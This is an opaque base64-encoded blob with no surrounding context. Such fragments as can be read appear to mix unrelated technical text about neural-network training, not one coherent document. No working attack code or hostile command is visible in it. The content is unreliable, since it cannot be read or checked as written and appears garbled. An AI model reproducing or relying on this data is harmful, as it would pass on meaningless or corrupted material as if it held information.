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FF18UiUTc+9I0ffPmTVtbW5jO3rp1K/O/Fy9epCjq66+/hp9ardbJyQk0esmSJQihadOmURQ7X59++qmFhUVKSgo+w9wn1syONjg6CwwMXLZsGVcisZxx/YfDhXASb8lg8CQrToOuyAkICB4THuobbdzRho0ZysrKkpOTYaMYbEVev35dKpVSFOXv748a+8g+Pj7+/v4zZszYvn07zJCABwpbW9uPPvooICBg5syZc+fODQgIuHbtGtw6Ozsb5rJ5PF5UVBTMFwFKSkri4uKys7PVavWWLVumT5/evn37vn37HjlyJC0tTafTXb58+Ycffpg7d25YWJhUKr1y5Yqvr2+fPn14PF5KSkpDQ8PcuXOjo6PxdA0IpflWpEE33UyvYlxdY7oLxJcbPMm9EeloExC0Gh6ZFcnj8YqLizMyMhwdHWH4z97e/qWXXkpPT6+rq6Moavbs2QihVatWMb879PDwqK2tValUer0e/PKysG3bNqlUqtfrc3JyunTp4uDgQFFUdHS0Xq+vqqqSy+VMj3sqlerDDz+EC0eNGoUaV4PDf5977rlBgwbJZLIDBw7A6qKuXbumpqYWFRVBFx7dd0ypb25H26CcMT1v4442c1sCptKBhho8yYxTJBKNHTt26dKlxI8WAUHr4KHWRer1evDfAzPaxcXFGo0mNTU1JSUlPT0dvFdotVqQSH9/f5qm8/Pzk5KSBg4cCELWpUuXgQMH7t69GyH0/vvvUxTF4/H69+8vEAiWLFliaWnZr18/Dw+PgoIChUKRkZERGhpKURQs8548efLEiRMrKythBbtWq1UqlRMnToRPDzt16uTi4rJr1y6E0Lp1615//fVz5879/fffCKGEhAQrK6t169bl5OQolcri4mI7OzsfHx9Q/BZszGBQIpn7FmBgR6qs/bPwXk6mJRJ67mQ4koCg1fBQ32jr9Xq5XE43evr5888/S0pKiouL8d+ysrK8vLzU1FRLS0voaNM0jRDy8/Pr1avXgAEDXnvttR49eixfvrykpGTatGm9evWys7N74403EELffvst9KwtLCxu3rwJCTh+/LilpeWKFStEItHIkSPfe++90tJS+BoS3A5NmDDB0tLSxsbmueee69mz54oVK/Lz8ydNmkRRlFgspmm6pKQEYt65c6dIJBIKhVeuXLGyspowYQLd0qXjXIk05nYf975bYEXia4kPfQKCVkPLrUgYtoOxSPi6xtra2sbGBj59ga9fLC0t4SRFUTNmzAAzTaPR1NTUlJeXV1ZWlpeXV1dXb9iwwcbG5vTp0zk5OR07dnR0dNTr9WvWrMHd7czMTDBaYadZmK3+888/6+vrIRlarRaSB6YoRVH9+vWrqalZs2YN3o6xsrIyJSUFXPACbGxsrKysYAoePvRu2QeIXIlk2YMYTInE3XCDGz1z42QqprH4CQgIHi1aKJFgtcFuBzRNR0REjBs3bsyYMV5eXqNHj4aNGeDAy8vLx8dn3Lhx0dHRCCHsTYeJH3/80dPT8/bt21KpdMGCBZ999hlC6Jdffhk3btyECROmTp2an58P5ue5c+cmTJjg4+Pj6ekJviPpxhWaOp1OqVSuW7du3LhxY8eOBS8Yx48f9/T09PHxGT9+vEQiycvL++ijj7y9vSdMmDBmzBhvb29PT8+xY8f6+PiEh4fTNK1Wq7GznxZLJOunVqvFe8/z+XwQQWYYrIwGT8KFrK1OmHPfBAQEjw8tlEiV5v5sMhhxZt4MRjDBAoV1iODomxkADrgyCtdyT0IkYEiyAphwQWQQkCooBa3eLInk7m4IE9OsTVYN7vPH3drU2Ek+n89dAERmtwkIWgEtlEil7r75BiKl0WiUSqVSqVSr1SqVSt0I5jEYnnAV/hQajkFqQTShJw5KCjHA3q1gfmq1WrVardFoFAoFHg/FvoLgALbxwgquVqvlcrlKpYJIFAoFBGAmD/ZcZC4dV+ha7i/y0S5dxIZnC/5LQEDwkGieRGo0mjqF5v5wJH1/7gUuwwf4J+sMDsO8hHkG38VgbKwAzBi4NzJ4ITdag4FpmtbR9/WxTqFprvq05U1WCQgImovmSaROp6uVyEA+GhgqiR5UOq6EoQeVlHvGoOQhjoCyQhq8kJse7k8WmP/V0ahB0yiREhm3y09AQPDfQfMkEiGkUqmwISnRIIUOafU0FxDYmJlmUByNXW7iXwbv2+S9jF2l1f/bvwYTsq35sCAgIGhlNFsiaZqWyeVMlXwmWafQyORy2ojVSUBA8B9BsyUSIUTTtEqlqpPInkmhrFNo6iQyWMzUCg+AgICgLePkyZO1tbXNk0gATEarnjnA+sTHWugEBARPCxQKRWJi4jEGzJVIAgICgmceNE0rlcq6urrqRhCJJCAgIPgXdOOaawCRSAICAgKjIBJJQEBAYBREIgkICAiMgkgkAQEBgVEQiSQgICAwCiKRBAQEBEZBJJKAgIDAKIhEEhAQEBgFVUpAQEBAYAT/CSuytLT0SSfh0YBkhICglUEk8mkCyQgBQSuDSOTTBJIRAoJWBpHIpwkkIwQErQwikU8TSEYICFoZRCKfJpCMEBC0MohEPk0gGSEgaGUQiXyaQDJCQNDKaA2J3HgDDfoRfZtz/2d8Phr0I5r1x/2fn19Gg340RRyyxXgcDVIgEERFRQkEAg8PD7lcDie1Wu2UKVPcOGCGeRg8kozw+fzk5GSEkF6vDwsL4yaSdZ6FoKAgjUbTFjJCQNAKaA2JlGvRyP9Dbj+hMhnS6NGks/ePuWCp56PC42iQIpHom2++YR4ghLRarZ+fH0sNDZ5sGR5JRvR6fXh4eGFhIT5ADyZSr9dHRETI5XJ8gP+r1WpXr15NJJLgv4PHK5